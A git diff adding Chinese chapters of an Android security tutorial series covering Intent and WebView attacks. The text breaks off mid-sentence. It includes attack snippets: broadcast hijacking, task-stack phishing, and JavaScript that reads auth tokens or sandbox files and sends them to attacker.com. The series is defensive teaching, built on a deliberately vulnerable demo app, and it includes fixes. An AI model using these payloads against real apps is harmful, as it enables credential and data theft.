+![demo2_intent_scheme_result.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-366eedb1cb7b2a889c483d09a1280ac875959a90.png) + +#### 变体 3:IntentSender / PendingIntent 中继 + +有些场景下,受害 App 不是直接 startActivity,而是通过 IntentSender 或 PendingIntent 间接执行。这种模式在系统服务中比较常见: + +```java + +IntentSender sender = intent.getParcelableExtra("intent_sender"); +if (sender != null) { + sender.sendIntent(context, 0, null, null, null); +} +``` + +### 3.3 Android 12+ 的缓解措施 + +从 Android 12 开始,系统对嵌套 Intent 做了一些限制: + +- 如果一个 Intent 是从另一个 Intent 的 extras 中取出的,且目标组件未导出,系统会阻止启动并抛出异常 +- 具体来说,`startActivity()` 会检查调用者是否有权限访问目标组件,而不是简单地信任调用者的 UID + +但这个缓解不是万能的: + +- 只对 startActivity 有效,sendBroadcast 和 startService 的限制较弱 +- 如果目标组件本身是导出的,这个检查不起作用 +- 系统应用(UID 1000)的调用仍然可以绕过部分限制 + +* * * + +## 4\. 隐式 Intent 信息泄露 + +### 4.1 原理 + +当 App 使用隐式 Intent 发送数据时,系统会在所有已安装 App 中匹配合适的接收者。如果攻击者的 App 注册了匹配的 intent-filter,就能截获这个 Intent 中携带的数据。 + +```java + +Intent intent = new Intent("com.victim.app.ACTION_SHARE_TOKEN"); +intent.putExtra("auth_token", "eyJhbGciOiJIUzI1NiJ9..."); +sendBroadcast(intent); +``` + +攻击者只需注册一个匹配的 Receiver: + +```xml + + + + + + +``` + +这个问题不限于广播。隐式 Intent 启动 Activity 时,如果有多个 App 匹配,系统会弹出选择器让用户选——但用户可能会选择攻击者的 App。隐式 Intent 启动 Service 在 Android 5.0+ 已被禁止,但广播仍然可以。 + +演示 App 中的 LeakySenderActivity 展示了这个问题。启动后它会通过隐式广播发送模拟的 auth token: + +```bash +adb shell am start -n com.demo.intentsecurity/.LeakySenderActivity +``` + +![demo2_implicit_leak.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-15c861c3b8e2519fa4ba5e32604b1be39f61dfee.png) + +页面上可以看到广播的 action 和携带的 token 数据。任何注册了 `com.demo.intentsecurity.ACTION_TOKEN_UPDATE` 的 App 都能收到这条广播。 + +### 4.2 有序广播的劫持 + +有序广播(Ordered Broadcast)是一种按优先级依次分发的广播。接收者可以修改广播内容,甚至终止广播的继续传递。 + +```java + +sendOrderedBroadcast(intent, null); +``` + +攻击者注册一个高优先级的 Receiver: + +```xml + + + + + +``` + +```java + +public class Hijacker extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + + String code = intent.getStringExtra("verification_code"); + Log.d("Hijacker", "Got code: " + code); + + + abortBroadcast(); + } +} +``` + +优先级值(priority)范围是 -1000 到 1000,值越大越先收到。攻击者设置 999 就能抢在大多数合法 Receiver 之前处理广播。 + +### 4.3 Activity 选择器劫持 + +当隐式 Intent 匹配到多个 Activity 时,系统弹出选择器(Chooser)。攻击者可以注册一个看起来像合法应用的 Activity 来欺骗用户选择: + +```xml + + + + + + + + +``` + +用户在选择器中看到"文件管理器",可能会点击它,然后攻击者的 Activity 就获得了原本应该由合法应用处理的数据。 + +* * * + +## 5\. Intent Flag 滥用 + +### 5.1 FLAG\_GRANT\_READ\_URI\_PERMISSION + +这个 flag 允许 Intent 的接收方临时获得对指定 URI 的读取权限,即使接收方没有对应的 ContentProvider 权限。 + +正常用途是文件分享:App A 把自己 ContentProvider 中的文件 URI 通过 Intent 发给 App B,同时带上这个 flag,App B 就能临时读取这个文件。 + +但如果受害 App 的导出组件存在 Intent 重定向漏洞,攻击者可以构造一个带有 `FLAG_GRANT_READ_URI_PERMISSION` 的 Intent,让受害 App 把自己 ContentProvider 的数据"授权"给攻击者: + +```java + +Intent inner = new Intent(); +inner.setData(Uri.parse("content://com.victim.app.provider/private_data")); +inner.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); +inner.setClassName("com.attacker.app", "com.attacker.app.ReceiverActivity"); + + +Intent outer = new Intent(); +outer.setClassName("com.victim.app", "com.victim.app.VulnRedirectActivity"); +outer.putExtra("next_intent", inner); +startActivity(outer); +``` + +受害 App 执行 `startActivity(inner)` 时,系统认为是受害 App 主动授权,攻击者的 ReceiverActivity 就获得了读取 `content://com.victim.app.provider/private_data` 的权限。 + +### 5.2 FLAG\_ACTIVITY\_NEW\_TASK 与任务栈劫持 + +Android 的 Activity 是按"任务栈"(Task)组织的。每个任务栈是一组 Activity 的堆叠,用户按返回键时从栈顶依次弹出。 + +`FLAG_ACTIVITY_NEW_TASK` 会让目标 Activity 在一个新的任务栈中启动。配合 `taskAffinity`(任务栈亲和性,决定 Activity 属于哪个任务栈)属性,攻击者可以把自己的 Activity 插入到受害 App 的任务栈中: + +```xml + + +``` + +```java + +Intent intent = new Intent(this, PhishingActivity.class); +intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +startActivity(intent); +``` + +当用户切换到受害 App 时,看到的可能是攻击者的钓鱼页面,因为它在同一个任务栈的栈顶。 + +### 5.3 其他值得关注的 Flag + +| Flag | 作用 | 安全影响 | +| --- | --- | --- | +| FLAG_GRANT_WRITE_URI_PERMISSION | 临时授予 URI 写权限 | 配合重定向可写入受害 App 数据 | +| FLAG_GRANT_PERSISTABLE_URI_PERMISSION | 持久化 URI 权限授予 | 权限不会在 Activity 结束后撤销 | +| FLAG_ACTIVITY_CLEAR_TASK | 清空目标任务栈 | 可清除受害 App 的 Activity 历史 | +| FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS | 从最近任务列表隐藏 | 隐藏攻击痕迹 | + +* * * + +## 6\. Intent Scheme URL + +### 6.1 什么是 Intent Scheme URL + +Android 支持一种特殊的 URL 格式,可以直接编码一个 Intent: + +```php +intent: +``` + +这个 URL 可以通过 `Intent.parseUri()` 解析成一个 Intent 对象。如果 App 的 WebView 或 Deep Link 处理逻辑中使用了 `Intent.parseUri()` 且没有做过滤,攻击者就能通过一个 URL 触发任意 Intent。 + +### 6.2 解析过程 + +```java + +Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME); +startActivity(intent); +``` + +这段代码的问题在于:URL 中可以编码 Intent 的几乎所有字段,包括 component、action、data、extras、flags。攻击者可以精确控制最终生成的 Intent。 + +### 6.3 常见的不安全处理 + +```java + +@Override +public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (url.startsWith("intent://")) { + Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME); + startActivity(intent); + return true; + } + return false; +} +``` + +安全的做法是在解析后移除敏感字段: + +```java +if (url.startsWith("intent://")) { + Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME); + + intent.setComponent(null); + + intent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); + intent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); + + intent.addCategory(Intent.CATEGORY_BROWSABLE); + startActivity(intent); +} +``` + +演示 App 中的 VulnWebViewActivity 加载了一个内置页面,其中包含一个 intent:// 链接。也可以通过 ADB 直接传入 intent:// URL: + +```bash +adb shell am start -n com.demo.intentsecurity/.VulnWebViewActivity \ + --es url "intent://dummy#Intent;component=com.demo.intentsecurity/.InternalTokenActivity;end" +``` + +WebView 拦截到 intent:// URL 后直接解析执行,成功启动了未导出的 InternalTokenActivity。内置演示页面如下: + +![demo2_intent_scheme.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-6844bea164b498189ff5ad2fd71988a05049bc8c.png) + +点击链接后,WebView 解析 intent:// URL 并启动了内部 Token 页面: + +![demo2_intent_scheme_result.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-32f344f54ccefd06a56b799dec4708045aff98eb.png) + +* * * + +## 7\. setResult 数据回传泄露 + +### 7.1 原理 + +当 Activity A 通过 `startActivityForResult()` 启动 Activity B 时,B 可以通过 `setResult()` 把数据回传给 A。 + +如果 B 是一个导出的 Activity,攻击者可以直接用 `startActivityForResult()` 启动它,然后在 `onActivityResult()` 中接收 B 回传的数据: + +```java + +public class TokenActivity extends Activity { + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + Intent result = new Intent(); + result.putExtra("token", generateAuthToken()); + setResult(RESULT_OK, result); + finish(); + } +} +``` + +```java + +Intent intent = new Intent(); +intent.setClassName("com.victim.app", "com.victim.app.TokenActivity"); +startActivityForResult(intent, 1); + +@Override +protected void onActivityResult(int requestCode, int resultCode, Intent data) { + if (data != null) { + String token = data.getStringExtra("token"); + + } +} +``` + +### 7.2 容易忽略的场景 + +有些 Activity 不是在 onCreate 中直接 setResult,而是在用户操作后回传数据。比如一个文件选择器 Activity,用户选择文件后通过 setResult 返回文件 URI。如果这个 Activity 是导出的,攻击者可以启动它,等用户选择文件后获得文件 URI。 + +另一个场景是 Activity 在 finish 之前无条件调用 setResult。开发者可能认为"只有我自己的 App 会调用这个 Activity",但如果它是导出的,任何 App 都可以调用并获取返回数据。 + +演示 App 中的 VulnResultActivity 就是这种模式。启动后立即生成 token 并通过 setResult 回传,然后 finish: + +```bash +adb shell am start -n com.demo.intentsecurity/.VulnResultActivity +adb logcat -s VulnResult +``` + +输出: + +```php +I VulnResult: Generated token: auth_1771677297791_secret +I VulnResult: Token set in result, finishing. Any caller gets this data. +``` + +虽然 ADB 无法直接接收 setResult 的数据,但任何通过 `startActivityForResult()` 启动它的 App 都能在 `onActivityResult()` 中拿到 token、user\_role、session\_id 等敏感信息。 + +* * * + +## 8\. 总结 + +Intent 是 Android 组件通信的核心,也是攻击者与目标 App 交互的主要手段。 + +回顾一下本章的几个方向: + +- Intent 重定向(LaunchAnywhere):借用受害 App 身份启动任意组件,Android 12+ 有缓解但不完全 +- 隐式 Intent 泄露:广播、Activity 选择器都可能被攻击者截获 +- Flag 滥用:FLAG\_GRANT\_READ\_URI\_PERMISSION 配合重定向可以窃取 ContentProvider 数据 +- Intent Scheme URL:WebView 中解析 intent:// URL 可能触发任意 Intent +- setResult 回传泄露:导出的 Activity 可能把敏感数据回传给攻击者 + +下一章讲 Android Binder 服务安全。Binder 是 Android IPC 的底层实现,系统服务、AIDL 接口都建立在它之上。我们会分析 Binder 的通信机制、系统服务的攻击面,以及 transaction code 调用的具体方法。 + +通过网盘分享的文件:intent.apk +链接: [https://pan.baidu.com/s/19I4aWSMkLLNVw3y5tye34Q?pwd=iqgs](https://pan.baidu.com/s/19I4aWSMkLLNVw3y5tye34Q?pwd=iqgs) 提取码: iqgs diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\224\347\253\240_WebView\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\224\347\253\240_WebView\345\256\211\345\205\250.md" new file mode 100644 index 000000000..49dd564e9 --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\224\347\253\240_WebView\345\256\211\345\205\250.md" @@ -0,0 +1,476 @@ +# Android移动安全第五章_WebView安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4840 + +> 系列目录: +> +> 1. Android 组件导出安全 +> 2. Android Intent 安全 +> 3. Android Binder 服务安全 +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全(本章) +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全 +> 8. Android 广播安全 +> 9. Android PendingIntent 安全 +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +很多 Android App 不是纯原生开发的,它们会用 WebView(Android 提供的内嵌浏览器组件)加载 HTML 页面来实现部分功能——活动页、帮助文档、支付页面、甚至整个应用的主界面。这种开发方式通常叫混合开发(Hybrid),原生代码和 Web 页面各负责一部分功能。 + +WebView 运行在 App 进程中,能执行 JavaScript、访问网络、渲染 HTML/CSS,底层和 Chrome 使用相同的渲染引擎(Chromium)。和独立浏览器不同的是,WebView 拥有宿主 App 的所有权限,而且可以通过 JavaScript Bridge(JS 桥接,后面第 4 节会详细讲)与原生代码交互。如果攻击者能控制 WebView 加载的内容,就等于在 App 的上下文中执行代码。 + +本章围绕 WebView 的几个攻击方向展开:URL 来源是否可控、JavaScript 接口暴露、文件协议访问、URL 跳转拦截逻辑、以及 SSL 证书校验。 + +* * * + +## 2\. WebView 基础配置 + +### 2.1 基本使用 + +在 Activity 中使用 WebView: + +```java +WebView webView = findViewById(R.id.webview); +webView.loadUrl("https://example.com"); +``` + +默认情况下 WebView 的功能比较受限——JavaScript 禁用、不能访问本地文件、没有 JS Bridge。开发者需要通过 WebSettings(WebView 的配置类)逐项开启: + +```java +WebSettings settings = webView.getSettings(); +settings.setJavaScriptEnabled(true); +settings.setAllowFileAccess(true); +settings.setAllowFileAccessFromFileURLs(true); +settings.setDomStorageEnabled(true); +``` + +每开启一项,就多一个攻击面。 + +### 2.2 WebViewClient 与 URL 拦截 + +WebViewClient 是 WebView 的事件回调接口,开发者通过它控制页面加载行为。其中 `shouldOverrideUrlLoading()` 在 WebView 即将加载一个新 URL 时被调用,开发者可以在这里拦截并自行处理: + +```java +webView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + String url = request.getUrl().toString(); + if (url.startsWith("myapp://")) { + handleCustomScheme(url); + return true; + } + return false; + } +}); +``` + +这个方法是很多漏洞的触发点——拦截逻辑有缺陷的话,攻击者可以绕过白名单加载恶意页面,或者通过自定义协议触发敏感操作。 + +### 2.3 WebChromeClient + +WebChromeClient 处理 JavaScript 的 UI 交互,比如 `alert()`、`confirm()`、`prompt()` 弹窗,以及文件选择(``)、地理位置请求等。 + +从安全角度看,`onShowFileChooser()` 值得注意——如果 WebView 加载了攻击者控制的页面,页面中的 `` 可以触发文件选择器,用户选择的文件会被上传到攻击者的服务器。 + +* * * + +## 3\. 任意 URL 加载 + +### 3.1 原理 + +导出的 Activity 从 Intent 中读取 URL,然后传给 `WebView.loadUrl()`,没有做校验: + +```java +public class WebActivity extends Activity { + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_web); + WebView webView = findViewById(R.id.webview); + webView.getSettings().setJavaScriptEnabled(true); + + String url = getIntent().getStringExtra("url"); + if (url != null) { + webView.loadUrl(url); + } + } +} +``` + +攻击者可以让这个 WebView 加载任意页面。如果 WebView 还启用了 JavaScript 并注册了 JS Bridge,攻击者的页面就能调用 App 暴露的原生方法。 + +### 3.2 URL 白名单绕过 + +有些开发者会加一个域名白名单检查: + +```java +String url = getIntent().getStringExtra("url"); +if (url != null && url.contains("example.com")) { + webView.loadUrl(url); +} +``` + +这种基于字符串包含的检查容易绕过: + +- `https://evil.com/example.com` — 路径中包含目标域名 +- `https://example.com.evil.com` — 子域名伪造 +- `https://evil.com?redirect=example.com` — 参数中包含 + +正确的做法是解析 URL 后检查 host: + +```java +Uri uri = Uri.parse(url); +String host = uri.getHost(); +if (host != null && (host.endsWith(".example.com") || "example.com".equals(host))) { + webView.loadUrl(url); +} +``` + +但即使 host 检查正确,如果目标域名本身存在开放重定向(Open Redirect,服务端根据参数跳转到任意 URL 的功能),攻击者仍然可以通过 `https://example.com/redirect?to=https://evil.com` 绕过白名单。 + +下面用配套的演示 App(com.demo.webviewsecurity)来展示。VulnWebActivity 从 Intent 读取 URL 直接加载,没有任何校验: + +```bash +adb shell am start -n com.demo.webviewsecurity/.VulnWebActivity \ + --es url "https://example.com" +``` + +WebView 加载了外部传入的 URL: + +![demo5_vuln_url.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-c4430ad5ece87ac52848e7b01ad78662ded9142b.png) + +传入攻击者控制的页面时,页面中的 JavaScript 就在 App 的上下文中执行。 + +* * * + +## 4\. JavaScript Bridge 暴露 + +### 4.1 addJavascriptInterface + +Android 提供了 `addJavascriptInterface()` 方法,让开发者把 Java 对象暴露给 WebView 中的 JavaScript 代码。注册后,WebView 中加载的任何页面都可以通过 JavaScript 调用这些方法: + +```java +public class AppBridge { + private Context context; + + public AppBridge(Context context) { + this.context = context; + } + + @JavascriptInterface + public String getToken() { + SharedPreferences prefs = context.getSharedPreferences("auth", MODE_PRIVATE); + return prefs.getString("token", ""); + } + + @JavascriptInterface + public String getDeviceId() { + return Settings.Secure.getString( + context.getContentResolver(), Settings.Secure.ANDROID_ID); + } + + @JavascriptInterface + public void writeFile(String filename, String content) { + File file = new File(context.getFilesDir(), filename); + + } +} + + +webView.addJavascriptInterface(new AppBridge(this), "NativeBridge"); +``` + +网页中的 JavaScript 通过 `window.NativeBridge` 调用: + +```javascript +var token = NativeBridge.getToken(); +var deviceId = NativeBridge.getDeviceId(); +NativeBridge.writeFile("config.txt", "malicious_content"); +``` + +`@JavascriptInterface` 注解是 Android 4.2(API 17)引入的,标记哪些方法可以被 JavaScript 调用。没有这个注解的方法不会暴露。在 Android 4.2 之前,注册的对象的所有 public 方法都会暴露,包括从 Object 继承的 `getClass()`——攻击者可以通过反射链执行任意 Java 代码。 + +### 4.2 攻击条件 + +JS Bridge 暴露的危害取决于两个条件: + +1. 攻击者能否控制 WebView 加载的页面(任意 URL 加载漏洞) +2. Bridge 暴露了哪些方法 + +两个条件同时满足时,攻击者的页面就能调用 App 的原生方法。常见的危险方法类型: + +| 方法类型 | 示例 | 危害 | +| --- | --- | --- | +| 读取凭证 | getToken()、getCookie() | 窃取认证信息 | +| 读取设备信息 | getDeviceId()、getPhoneNumber() | 隐私泄露 | +| 文件操作 | readFile()、writeFile() | 读写 App 沙箱文件 | +| 执行命令 | exec()、runCommand() | 命令执行 | +| 发送请求 | httpRequest()、postData() | SSRF、数据外传 | + +### 4.3 演示 + +演示 App 的 VulnBridgeActivity 注册了一个 JS Bridge(NativeBridge),暴露了 getToken()、getDeviceInfo()、writeLog() 三个方法。默认加载一个内置的演示页面,页面中的 JavaScript 调用这些方法并显示结果: + +```bash +adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity +``` + +内置演示页面提供了三个按钮,分别调用 Bridge 暴露的方法: + +![demo5_bridge_page.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-482824accfaa9b7e6aaca712d90b11234a8a1350.png) + +通过 logcat 可以看到 Bridge 方法被调用: + +```bash +adb logcat -s NativeBridge +``` + +输出: + +```php +I NativeBridge: getToken() called, returning: eyJhbGciOiJIUzI1NiJ9.demo_secret_token +I NativeBridge: getDeviceInfo() called, returning: Model=23049RAD8C, SDK=35, Brand=Redmi +I NativeBridge: writeLog() called: test_log_from_javascript_1771751687876 +``` + +getToken() 返回了 App 存储的认证 token,getDeviceInfo() 返回了设备型号和系统版本,writeLog() 向 App 私有目录写入了日志。这些操作都是网页中的 JavaScript 触发的。 + +也可以通过 Intent 传入外部 URL,让 WebView 加载攻击者的页面,效果相同: + +```bash +adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity \ + --es url "https://attacker.com/steal.html" +``` + +攻击者的页面可以执行: + +```javascript + +var token = NativeBridge.getToken(); +var info = NativeBridge.getDeviceInfo(); +new Image().src = "https://attacker.com/collect?token=" + token + "&info=" + info; +``` + +* * * + +## 5\. file:// 协议攻击 + +### 5.1 相关配置项 + +WebView 有几个控制文件访问的配置: + +| 配置项 | 默认值 | 作用 | +| --- | --- | --- | +| setAllowFileAccess | API < 30: true; API >= 30: false | 是否允许加载 file:// URL | +| setAllowFileAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 读取其他 file:// | +| setAllowUniversalAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 访问任意来源 | +| setAllowContentAccess | true | 是否允许加载 content:// URL | + +`setAllowFileAccessFromFileURLs` 和 `setAllowUniversalAccessFromFileURLs` 允许通过 file:// 加载的页面用 JavaScript(XMLHttpRequest 或 fetch)读取设备上的其他文件。 + +### 5.2 攻击原理 + +如果 WebView 同时满足以下条件: + +1. 允许加载 file:// URL(setAllowFileAccess(true)) +2. 启用了 JavaScript(setJavaScriptEnabled(true)) +3. 允许 file:// 页面跨域读取(setAllowFileAccessFromFileURLs(true) 或 setAllowUniversalAccessFromFileURLs(true)) +4. 攻击者能控制加载的 URL + +攻击者可以让 WebView 加载一个本地 HTML 文件,文件中的 JavaScript 读取 App 沙箱内的其他文件: + +```javascript +var xhr = new XMLHttpRequest(); +xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml", true); +xhr.onload = function() { + new Image().src = "https://attacker.com/collect?data=" + encodeURIComponent(xhr.responseText); +}; +xhr.send(); +``` + +### 5.3 利用路径 + +攻击者需要先把恶意 HTML 文件放到设备上,然后让目标 App 的 WebView 加载它。常见的方式: + +1. 通过另一个漏洞(比如上一章讲的 ContentProvider openFile 路径遍历)向目标 App 的目录写入 HTML 文件 +2. 利用 App 的下载功能,让 App 自己下载恶意 HTML 到已知路径 +3. 把 HTML 文件放到外部存储(/sdcard/),然后通过任意 URL 加载漏洞让 WebView 加载 `file:///sdcard/evil.html` + +### 5.4 演示 + +演示 App 的 VulnFileActivity 开启了 `setAllowFileAccessFromFileURLs(true)` 和 `setJavaScriptEnabled(true)`,并且接受 Intent 传入的 URL。 + +先在设备上创建一个测试 HTML 文件,然后让 WebView 加载它: + +```bash + +adb shell "run-as com.demo.webviewsecurity sh -c \ + 'echo \"

file:// loaded

\" \ + > /data/data/com.demo.webviewsecurity/files/test.html'" + + +adb shell am start -n com.demo.webviewsecurity/.VulnFileActivity \ + --es url "file:///data/data/com.demo.webviewsecurity/files/test.html" +``` + +WebView 加载了本地文件: + +![demo5_file_access.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-8ac4ebf2ba61810c758096533dbb41f9ac0ef3f1.png) + +在 `setAllowFileAccessFromFileURLs(true)` 的配置下,页面中的 JavaScript 可以通过 XMLHttpRequest 读取同一 App 沙箱内的其他文件。 + +* * * + +## 6\. shouldOverrideUrlLoading 绕过 + +### 6.1 首次加载不触发 + +`shouldOverrideUrlLoading()` 只在页面内的链接跳转时触发,不会在 `loadUrl()` 直接加载时触发。如果攻击者能控制 `loadUrl()` 的参数,白名单检查根本不会执行: + +```java +@Override +public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + String url = request.getUrl().toString(); + if (!isWhitelisted(url)) { + return true; + } + return false; +} + + +String url = getIntent().getStringExtra("url"); +webView.loadUrl(url); +``` + +### 6.2 重定向和 JavaScript 跳转 + +HTTP 302 重定向在某些 Android 版本上不会触发 `shouldOverrideUrlLoading()`。攻击者可以先让 WebView 加载一个白名单内的 URL,该 URL 返回 302 重定向到恶意页面。 + +通过 JavaScript 的 `window.location` 跳转在某些情况下也不会触发拦截: + +```javascript +window.location = "https://evil.com"; +window.location.replace("https://evil.com"); +``` + +### 6.3 自定义协议处理 + +很多 App 在 `shouldOverrideUrlLoading()` 中处理自定义协议(如 `myapp://`、`jsbridge://`)。如果处理逻辑不安全,攻击者可以通过构造特殊 URL 触发敏感操作: + +```java +@Override +public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + String url = request.getUrl().toString(); + if (url.startsWith("jsbridge://")) { + String[] parts = url.replace("jsbridge://", "").split("/"); + String method = parts[0]; + if ("getToken".equals(method)) { + String token = getAuthToken(); + view.evaluateJavascript("callback('" + token + "')", null); + } else if ("writeFile".equals(method)) { + writeFile(parts[1], parts[2]); + } + return true; + } + return false; +} +``` + +这种基于 URL 的 JS Bridge 和 `addJavascriptInterface` 的风险类似,但更隐蔽——不需要注册 JavaScript 接口,只需要在 WebView 中加载一个包含 `